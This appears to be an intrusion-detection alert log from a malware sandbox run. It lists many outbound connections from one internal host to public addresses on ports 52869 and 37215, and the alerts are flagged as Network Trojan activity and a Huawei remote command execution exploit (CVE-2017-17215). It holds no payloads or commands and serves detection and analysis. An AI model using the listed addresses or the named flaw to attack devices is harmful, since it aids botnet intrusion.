2024-12-04T20:35:06.855793+0100	2027339	1	A Network Trojan was detected	192.168.2.14	60472	197.137.72.234	52869	TCP
2024-12-04T20:35:07.059015+0100	2027339	1	A Network Trojan was detected	192.168.2.14	45862	156.185.93.9	52869	TCP
2024-12-04T20:35:07.059089+0100	2027339	1	A Network Trojan was detected	192.168.2.14	58844	197.194.67.63	52869	TCP
2024-12-04T20:35:07.059980+0100	2027339	1	A Network Trojan was detected	192.168.2.14	39920	156.25.128.120	52869	TCP
2024-12-04T20:35:07.060147+0100	2027339	1	A Network Trojan was detected	192.168.2.14	43186	156.210.85.238	52869	TCP
2024-12-04T20:35:07.060713+0100	2027339	1	A Network Trojan was detected	192.168.2.14	55576	197.40.26.156	52869	TCP
2024-12-04T20:35:08.058381+0100	2027339	1	A Network Trojan was detected	192.168.2.14	39152	41.184.229.131	52869	TCP
2024-12-04T20:35:08.310111+0100	2027339	1	A Network Trojan was detected	192.168.2.14	39074	41.195.158.255	52869	TCP
2024-12-04T20:35:09.123639+0100	2027339	1	A Network Trojan was detected	192.168.2.14	57452	41.232.57.31	52869	TCP
2024-12-04T20:35:09.402216+0100	2027339	1	A Network Trojan was detected	192.168.2.14	46056	41.10.197.52	52869	TCP
2024-12-04T20:35:11.355420+0100	2027339	1	A Network Trojan was detected	192.168.2.14	40840	156.14.110.123	52869	TCP
2024-12-04T20:35:11.355512+0100	2027339	1	A Network Trojan was detected	192.168.2.14	32812	156.127.239.138	52869	TCP
2024-12-04T20:35:11.446466+0100	2027339	1	A Network Trojan was detected	192.168.2.14	39544	156.253.13.204	52869	TCP
2024-12-04T20:35:15.527814+0100	2027339	1	A Network Trojan was detected	192.168.2.14	35770	41.135.95.103	52869	TCP
2024-12-04T20:35:15.527914+0100	2027339	1	A Network Trojan was detected	192.168.2.14	47850	41.246.105.206	52869	TCP
2024-12-04T20:35:15.808636+0100	2027339	1	A Network Trojan was detected	192.168.2.14	50506	156.7.223.215	52869	TCP
2024-12-04T20:35:15.824314+0100	2027339	1	A Network Trojan was detected	192.168.2.14	59732	197.90.172.166	52869	TCP
2024-12-04T20:35:15.855458+0100	2027339	1	A Network Trojan was detected	192.168.2.14	58674	41.144.36.231	52869	TCP
2024-12-04T20:35:16.075414+0100	2027339	1	A Network Trojan was detected	192.168.2.14	60714	197.209.53.219	52869	TCP
2024-12-04T20:35:16.876226+0100	2027339	1	A Network Trojan was detected	192.168.2.14	37878	41.190.129.96	52869	TCP
2024-12-04T20:35:17.105722+0100	2027339	1	A Network Trojan was detected	192.168.2.14	50638	197.16.187.112	52869	TCP
2024-12-04T20:35:17.106001+0100	2027339	1	A Network Trojan was detected	192.168.2.14	32940	156.110.67.129	52869	TCP
2024-12-04T20:35:17.154133+0100	2027339	1	A Network Trojan was detected	192.168.2.14	48880	41.55.181.248	52869	TCP
2024-12-04T20:35:17.168007+0100	2027339	1	A Network Trojan was detected	192.168.2.14	46132	41.9.108.55	52869	TCP
2024-12-04T20:35:18.105623+0100	2027339	1	A Network Trojan was detected	192.168.2.14	38980	197.15.150.208	52869	TCP
2024-12-04T20:35:18.137821+0100	2027339	1	A Network Trojan was detected	192.168.2.14	50902	41.58.193.17	52869	TCP
2024-12-04T20:35:18.137968+0100	2027339	1	A Network Trojan was detected	192.168.2.14	35960	156.105.53.222	52869	TCP
2024-12-04T20:35:18.137999+0100	2027339	1	A Network Trojan was detected	192.168.2.14	58224	156.207.162.59	52869	TCP
2024-12-04T20:35:18.138000+0100	2027339	1	A Network Trojan was detected	192.168.2.14	40648	41.242.139.215	52869	TCP
2024-12-04T20:35:18.153500+0100	2027339	1	A Network Trojan was detected	192.168.2.14	34876	41.155.36.234	52869	TCP
2024-12-04T20:35:18.371038+0100	2027339	1	A Network Trojan was detected	192.168.2.14	55600	156.154.202.124	52869	TCP
2024-12-04T20:35:20.152621+0100	2027339	1	A Network Trojan was detected	192.168.2.14	38048	41.125.51.58	52869	TCP
2024-12-04T20:35:21.551259+0100	2027339	1	A Network Trojan was detected	192.168.2.14	54450	41.83.53.83	52869	TCP
2024-12-04T20:35:22.277826+0100	2027339	1	A Network Trojan was detected	192.168.2.14	58662	41.55.202.110	52869	TCP
2024-12-04T20:35:22.402550+0100	2027339	1	A Network Trojan was detected	192.168.2.14	34302	41.111.239.70	52869	TCP
2024-12-04T20:35:22.417971+0100	2027339	1	A Network Trojan was detected	192.168.2.14	36036	41.203.113.129	52869	TCP
2024-12-04T20:35:23.324511+0100	2027339	1	A Network Trojan was detected	192.168.2.14	58710	156.105.101.171	52869	TCP
2024-12-04T20:35:23.359246+0100	2027339	1	A Network Trojan was detected	192.168.2.14	38466	156.227.142.233	52869	TCP
2024-12-04T20:35:23.559263+0100	2027339	1	A Network Trojan was detected	192.168.2.14	50296	197.24.113.231	52869	TCP
2024-12-04T20:35:24.310110+0100	2027339	1	A Network Trojan was detected	192.168.2.14	38330	41.225.66.130	52869	TCP
2024-12-04T20:35:24.332328+0100	2027339	1	A Network Trojan was detected	192.168.2.14	45820	156.242.247.20	52869	TCP
2024-12-04T20:35:26.434975+0100	2027339	1	A Network Trojan was detected	192.168.2.14	52650	41.201.161.5	52869	TCP
2024-12-04T20:35:26.450381+0100	2027339	1	A Network Trojan was detected	192.168.2.14	41862	156.115.25.114	52869	TCP
2024-12-04T20:35:26.450604+0100	2027339	1	A Network Trojan was detected	192.168.2.14	36870	156.45.7.170	52869	TCP
2024-12-04T20:35:26.450863+0100	2027339	1	A Network Trojan was detected	192.168.2.14	33476	41.62.2.151	52869	TCP
2024-12-04T20:35:26.451039+0100	2027339	1	A Network Trojan was detected	192.168.2.14	33636	41.252.216.54	52869	TCP
2024-12-04T20:35:26.465502+0100	2027339	1	A Network Trojan was detected	192.168.2.14	49990	197.161.238.36	52869	TCP
2024-12-04T20:35:27.026771+0100	2027339	1	A Network Trojan was detected	192.168.2.14	45866	197.146.209.131	52869	TCP
2024-12-04T20:35:27.131544+0100	2027339	1	A Network Trojan was detected	192.168.2.14	37650	41.109.81.45	52869	TCP
2024-12-04T20:35:27.605560+0100	2027339	1	A Network Trojan was detected	192.168.2.14	42034	197.52.188.131	52869	TCP
2024-12-04T20:35:27.605705+0100	2027339	1	A Network Trojan was detected	192.168.2.14	43498	156.206.72.202	52869	TCP
2024-12-04T20:35:27.731382+0100	2027339	1	A Network Trojan was detected	192.168.2.14	49488	41.161.128.201	52869	TCP
2024-12-04T20:35:28.636960+0100	2027339	1	A Network Trojan was detected	192.168.2.14	57454	197.44.216.232	52869	TCP
2024-12-04T20:35:28.636970+0100	2027339	1	A Network Trojan was detected	192.168.2.14	58582	156.58.217.31	52869	TCP
2024-12-04T20:35:28.648161+0100	2027339	1	A Network Trojan was detected	192.168.2.14	56332	41.81.128.144	52869	TCP
2024-12-04T20:35:28.648166+0100	2027339	1	A Network Trojan was detected	192.168.2.14	59446	156.117.131.39	52869	TCP
2024-12-04T20:35:28.648166+0100	2027339	1	A Network Trojan was detected	192.168.2.14	43910	156.131.182.238	52869	TCP
2024-12-04T20:35:28.648169+0100	2027339	1	A Network Trojan was detected	192.168.2.14	37170	41.201.115.28	52869	TCP
2024-12-04T20:35:28.648175+0100	2027339	1	A Network Trojan was detected	192.168.2.14	47118	197.158.14.52	52869	TCP
2024-12-04T20:35:28.762212+0100	2027339	1	A Network Trojan was detected	192.168.2.14	37870	41.62.97.137	52869	TCP
2024-12-04T20:35:28.762214+0100	2027339	1	A Network Trojan was detected	192.168.2.14	36056	156.128.213.240	52869	TCP
2024-12-04T20:35:28.762228+0100	2027339	1	A Network Trojan was detected	192.168.2.14	37842	41.241.119.223	52869	TCP
2024-12-04T20:35:28.762330+0100	2027339	1	A Network Trojan was detected	192.168.2.14	45340	197.144.150.75	52869	TCP
2024-12-04T20:35:28.762350+0100	2027339	1	A Network Trojan was detected	192.168.2.14	54442	41.21.86.64	52869	TCP
2024-12-04T20:35:28.762361+0100	2027339	1	A Network Trojan was detected	192.168.2.14	40272	41.172.40.218	52869	TCP
2024-12-04T20:35:29.777527+0100	2027339	1	A Network Trojan was detected	192.168.2.14	54582	197.180.200.54	52869	TCP
2024-12-04T20:35:29.777547+0100	2027339	1	A Network Trojan was detected	192.168.2.14	47806	197.186.219.159	52869	TCP
2024-12-04T20:35:29.996349+0100	2027339	1	A Network Trojan was detected	192.168.2.14	44814	156.155.239.208	52869	TCP
2024-12-04T20:35:29.996414+0100	2027339	1	A Network Trojan was detected	192.168.2.14	39440	156.80.3.94	52869	TCP
2024-12-04T20:35:29.996551+0100	2027339	1	A Network Trojan was detected	192.168.2.14	45916	156.51.128.212	52869	TCP
2024-12-04T20:35:29.996607+0100	2027339	1	A Network Trojan was detected	192.168.2.14	57370	41.102.205.55	52869	TCP
2024-12-04T20:35:30.012470+0100	2027339	1	A Network Trojan was detected	192.168.2.14	53224	197.34.3.7	52869	TCP
2024-12-04T20:35:30.028085+0100	2027339	1	A Network Trojan was detected	192.168.2.14	38264	156.70.64.131	52869	TCP
2024-12-04T20:35:30.746454+0100	2027339	1	A Network Trojan was detected	192.168.2.14	51294	41.216.217.159	52869	TCP
2024-12-04T20:35:30.746741+0100	2027339	1	A Network Trojan was detected	192.168.2.14	51282	41.143.182.37	52869	TCP
2024-12-04T20:35:30.746876+0100	2027339	1	A Network Trojan was detected	192.168.2.14	35430	41.121.139.0	52869	TCP
2024-12-04T20:35:35.044010+0100	2027339	1	A Network Trojan was detected	192.168.2.14	38450	197.248.239.253	52869	TCP
2024-12-04T20:35:35.059131+0100	2027339	1	A Network Trojan was detected	192.168.2.14	57328	156.133.167.28	52869	TCP
2024-12-04T20:35:35.059383+0100	2027339	1	A Network Trojan was detected	192.168.2.14	32818	41.88.205.77	52869	TCP
2024-12-04T20:35:35.231790+0100	2027339	1	A Network Trojan was detected	192.168.2.14	35686	156.226.83.37	52869	TCP

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-04T20:34:24.734446+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60342	41.97.6.254	37215	TCP
2024-12-04T20:34:30.220539+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47200	156.246.142.144	37215	TCP
2024-12-04T20:34:36.943006+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59686	156.73.153.242	37215	TCP
2024-12-04T20:34:48.777065+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51048	41.165.7.20	37215	TCP
2024-12-04T20:34:48.777207+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49360	41.54.125.212	37215	TCP
2024-12-04T20:34:48.777244+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50822	41.53.67.33	37215	TCP
2024-12-04T20:34:48.777539+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36750	156.154.217.250	37215	TCP
2024-12-04T20:34:48.796158+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40064	41.43.4.149	37215	TCP
2024-12-04T20:34:48.810083+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36106	156.126.215.134	37215	TCP
2024-12-04T20:34:48.935792+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42552	41.187.237.232	37215	TCP
2024-12-04T20:34:48.964305+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33068	41.135.60.103	37215	TCP
2024-12-04T20:34:48.980619+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52386	197.83.103.191	37215	TCP
2024-12-04T20:34:48.980742+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39600	197.33.215.35	37215	TCP
2024-12-04T20:34:48.980847+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44220	156.127.38.166	37215	TCP
2024-12-04T20:34:49.152482+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49034	197.140.98.60	37215	TCP
2024-12-04T20:34:49.152546+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59506	197.38.238.24	37215	TCP
2024-12-04T20:34:49.168381+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50752	197.94.90.110	37215	TCP
2024-12-04T20:34:49.779611+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45732	197.7.149.248	37215	TCP
2024-12-04T20:34:49.793384+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45444	197.143.6.121	37215	TCP
2024-12-04T20:34:49.810451+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59160	197.196.137.96	37215	TCP
2024-12-04T20:34:49.855190+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39594	41.142.203.25	37215	TCP
2024-12-04T20:34:49.965028+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53988	156.122.160.94	37215	TCP
2024-12-04T20:34:50.011690+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37872	197.192.58.48	37215	TCP
2024-12-04T20:34:51.183931+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37004	197.89.67.25	37215	TCP
2024-12-04T20:34:51.857185+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33408	156.191.184.73	37215	TCP
2024-12-04T20:34:55.106219+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40704	156.66.149.192	37215	TCP
2024-12-04T20:34:57.824108+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60804	156.115.90.119	37215	TCP
2024-12-04T20:34:57.824242+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58000	197.208.202.223	37215	TCP
2024-12-04T20:34:57.824427+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44382	156.164.50.81	37215	TCP
2024-12-04T20:35:00.855127+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38744	197.52.167.29	37215	TCP
2024-12-04T20:35:00.855346+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56966	156.144.78.212	37215	TCP
2024-12-04T20:35:02.277282+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48552	41.58.47.240	37215	TCP
2024-12-04T20:35:02.693289+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48694	156.252.14.26	37215	TCP
2024-12-04T20:35:04.183457+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56396	156.192.76.36	37215	TCP
2024-12-04T20:35:04.311197+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36744	197.150.205.142	37215	TCP
2024-12-04T20:35:04.311281+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57858	197.234.105.12	37215	TCP
2024-12-04T20:35:04.324578+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45076	197.252.48.74	37215	TCP
2024-12-04T20:35:04.339729+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33222	156.220.14.170	37215	TCP
2024-12-04T20:35:06.558434+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37222	197.21.113.211	37215	TCP
2024-12-04T20:35:07.589668+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46614	156.1.54.61	37215	TCP
2024-12-04T20:35:07.637207+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46996	156.217.189.19	37215	TCP
2024-12-04T20:35:07.652159+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55650	41.209.126.36	37215	TCP
2024-12-04T20:35:08.886782+0100	2835222	1	A Network Trojan was detected	192.168.2.14	32854	197.65.163.60	37215	TCP
2024-12-04T20:35:09.152243+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41132	197.129.51.13	37215	TCP
2024-12-04T20:35:09.152513+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57538	197.230.202.242	37215	TCP
2024-12-04T20:35:09.152653+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53474	156.29.250.135	37215	TCP
2024-12-04T20:35:09.731946+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33170	41.73.216.161	37215	TCP
2024-12-04T20:35:09.732155+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33694	197.216.152.94	37215	TCP
2024-12-04T20:35:10.136605+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51990	156.106.40.215	37215	TCP
2024-12-04T20:35:10.886909+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54036	156.18.28.218	37215	TCP
2024-12-04T20:35:10.902403+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43638	41.247.75.14	37215	TCP
2024-12-04T20:35:11.153690+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38822	41.166.22.192	37215	TCP
2024-12-04T20:35:11.153857+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39858	41.9.221.217	37215	TCP
2024-12-04T20:35:11.154002+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55478	41.105.158.12	37215	TCP
2024-12-04T20:35:11.154217+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60902	156.95.204.71	37215	TCP
2024-12-04T20:35:11.167928+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41240	41.134.48.47	37215	TCP
2024-12-04T20:35:11.168115+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46794	197.250.112.205	37215	TCP
2024-12-04T20:35:11.230269+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37292	41.115.233.29	37215	TCP
2024-12-04T20:35:11.277358+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38586	156.195.236.32	37215	TCP
2024-12-04T20:35:12.542610+0100	2835222	1	A Network Trojan was detected	192.168.2.14	32894	156.133.84.44	37215	TCP
2024-12-04T20:35:12.542611+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36422	197.210.85.217	37215	TCP
2024-12-04T20:35:12.542681+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43486	156.194.20.240	37215	TCP
2024-12-04T20:35:12.542691+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45050	41.100.58.110	37215	TCP
2024-12-04T20:35:12.542850+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53156	197.129.70.232	37215	TCP
2024-12-04T20:35:12.543120+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51138	41.84.155.12	37215	TCP
2024-12-04T20:35:12.543340+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60000	197.148.114.51	37215	TCP
2024-12-04T20:35:12.543391+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52510	197.1.119.154	37215	TCP
2024-12-04T20:35:12.543399+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54488	156.168.134.30	37215	TCP
2024-12-04T20:35:12.543425+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40852	156.23.185.238	37215	TCP
2024-12-04T20:35:12.543428+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56546	197.114.69.0	37215	TCP
2024-12-04T20:35:12.543440+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45980	156.158.210.210	37215	TCP
2024-12-04T20:35:12.543449+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49508	156.224.241.35	37215	TCP
2024-12-04T20:35:12.543560+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39180	156.229.33.62	37215	TCP
2024-12-04T20:35:13.449185+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54102	197.180.136.166	37215	TCP
2024-12-04T20:35:13.558746+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53774	41.239.87.183	37215	TCP
2024-12-04T20:35:13.558844+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59112	197.220.2.4	37215	TCP
2024-12-04T20:35:14.339975+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48102	156.27.150.236	37215	TCP
2024-12-04T20:35:14.340053+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37552	41.19.11.27	37215	TCP
2024-12-04T20:35:15.714998+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59158	156.147.171.52	37215	TCP
2024-12-04T20:35:16.605519+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49452	156.116.253.53	37215	TCP
2024-12-04T20:35:16.637176+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38760	156.79.211.123	37215	TCP
2024-12-04T20:35:17.636831+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53246	156.226.173.86	37215	TCP
2024-12-04T20:35:17.637010+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43890	156.230.193.102	37215	TCP
2024-12-04T20:35:17.652592+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55702	41.94.162.230	37215	TCP
2024-12-04T20:35:17.652630+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54440	156.84.217.79	37215	TCP
2024-12-04T20:35:17.652765+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47814	41.79.123.173	37215	TCP
2024-12-04T20:35:17.652888+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54942	41.66.163.29	37215	TCP
2024-12-04T20:35:17.761781+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39686	197.43.141.226	37215	TCP
2024-12-04T20:35:17.761818+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59010	197.145.35.51	37215	TCP
2024-12-04T20:35:18.902754+0100	2835222	1	A Network Trojan was detected	192.168.2.14	32934	197.104.5.19	37215	TCP
2024-12-04T20:35:18.904106+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42888	41.25.128.95	37215	TCP
2024-12-04T20:35:19.168112+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58770	156.45.53.133	37215	TCP
2024-12-04T20:35:19.168180+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36636	197.188.53.123	37215	TCP
2024-12-04T20:35:19.168255+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35716	156.163.185.37	37215	TCP
2024-12-04T20:35:19.183893+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35284	156.106.189.20	37215	TCP
2024-12-04T20:35:19.184186+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34514	156.164.218.242	37215	TCP
2024-12-04T20:35:19.184209+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56354	156.190.47.77	37215	TCP
2024-12-04T20:35:19.215564+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48188	197.114.172.221	37215	TCP
2024-12-04T20:35:19.231119+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60242	156.54.194.190	37215	TCP
2024-12-04T20:35:19.903265+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57834	197.88.179.150	37215	TCP
2024-12-04T20:35:19.903305+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55042	41.142.142.175	37215	TCP
2024-12-04T20:35:19.933929+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46336	156.240.58.137	37215	TCP
2024-12-04T20:35:20.028726+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41866	197.116.244.68	37215	TCP
2024-12-04T20:35:20.137219+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37412	197.87.235.206	37215	TCP
2024-12-04T20:35:20.152666+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40196	41.87.180.242	37215	TCP
2024-12-04T20:35:21.152789+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38766	197.243.46.78	37215	TCP
2024-12-04T20:35:21.168119+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51466	41.197.101.51	37215	TCP
2024-12-04T20:35:21.168261+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33504	156.117.174.180	37215	TCP
2024-12-04T20:35:21.168337+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37546	41.14.94.73	37215	TCP
2024-12-04T20:35:21.168884+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39408	197.70.220.221	37215	TCP
2024-12-04T20:35:21.169122+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43368	41.88.233.253	37215	TCP
2024-12-04T20:35:21.184305+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37230	41.14.100.244	37215	TCP
2024-12-04T20:35:21.184639+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43132	156.76.51.139	37215	TCP
2024-12-04T20:35:21.184651+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38624	41.248.158.152	37215	TCP
2024-12-04T20:35:21.184766+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60512	197.248.190.192	37215	TCP
2024-12-04T20:35:21.184906+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55316	197.66.230.146	37215	TCP
2024-12-04T20:35:21.902766+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47268	197.207.158.48	37215	TCP
2024-12-04T20:35:21.902793+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49978	156.163.181.74	37215	TCP
2024-12-04T20:35:21.902846+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42400	156.147.180.29	37215	TCP
2024-12-04T20:35:21.918221+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57588	41.122.41.2	37215	TCP
2024-12-04T20:35:21.918341+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60590	197.7.248.168	37215	TCP
2024-12-04T20:35:21.933771+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49888	41.93.164.185	37215	TCP
2024-12-04T20:35:21.933863+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36358	197.72.196.248	37215	TCP
2024-12-04T20:35:21.933966+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40772	197.173.64.197	37215	TCP
2024-12-04T20:35:21.934154+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54084	197.127.179.152	37215	TCP
2024-12-04T20:35:21.934323+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57474	156.78.251.33	37215	TCP
2024-12-04T20:35:21.934594+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48462	156.0.23.114	37215	TCP
2024-12-04T20:35:22.152546+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47944	41.11.147.112	37215	TCP
2024-12-04T20:35:22.152691+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34398	156.75.28.99	37215	TCP
2024-12-04T20:35:22.152828+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39766	156.2.173.101	37215	TCP
2024-12-04T20:35:22.153258+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34512	197.135.14.148	37215	TCP
2024-12-04T20:35:22.652386+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36486	41.123.37.16	37215	TCP
2024-12-04T20:35:23.168330+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44710	156.130.197.125	37215	TCP
2024-12-04T20:35:23.918210+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34212	156.207.67.44	37215	TCP
2024-12-04T20:35:24.216310+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51790	156.232.72.218	37215	TCP
2024-12-04T20:35:24.231575+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40430	41.66.112.232	37215	TCP
2024-12-04T20:35:24.231849+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50612	156.214.249.246	37215	TCP
2024-12-04T20:35:24.231852+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57720	156.110.93.37	37215	TCP
2024-12-04T20:35:24.231976+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60676	156.9.180.188	37215	TCP
2024-12-04T20:35:25.357137+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42822	41.145.96.97	37215	TCP
2024-12-04T20:35:25.465106+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42426	197.48.65.121	37215	TCP
2024-12-04T20:35:25.465331+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41920	41.3.18.238	37215	TCP
2024-12-04T20:35:26.730747+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56476	156.221.15.33	37215	TCP
2024-12-04T20:35:26.730876+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50662	197.16.39.107	37215	TCP
2024-12-04T20:35:26.949580+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42330	41.55.178.199	37215	TCP
2024-12-04T20:35:27.402784+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39000	41.155.222.85	37215	TCP
2024-12-04T20:35:27.513313+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45266	156.17.225.42	37215	TCP
2024-12-04T20:35:30.809052+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58750	156.221.199.198	37215	TCP
2024-12-04T20:35:30.809141+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41236	156.202.73.183	37215	TCP
2024-12-04T20:35:30.902441+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42064	197.227.37.64	37215	TCP
2024-12-04T20:35:30.918316+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35392	156.198.152.213	37215	TCP
2024-12-04T20:35:31.061566+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42592	197.84.117.206	37215	TCP
2024-12-04T20:35:31.061934+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60664	156.164.172.2	37215	TCP
2024-12-04T20:35:31.062328+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38946	197.143.63.206	37215	TCP
2024-12-04T20:35:31.809533+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39974	156.203.177.231	37215	TCP
2024-12-04T20:35:31.825590+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50162	197.114.234.32	37215	TCP
2024-12-04T20:35:31.825654+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47714	41.78.130.107	37215	TCP
2024-12-04T20:35:31.825875+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45082	41.114.251.255	37215	TCP
2024-12-04T20:35:31.825998+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52766	156.48.235.240	37215	TCP
2024-12-04T20:35:31.826234+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33192	197.240.132.149	37215	TCP
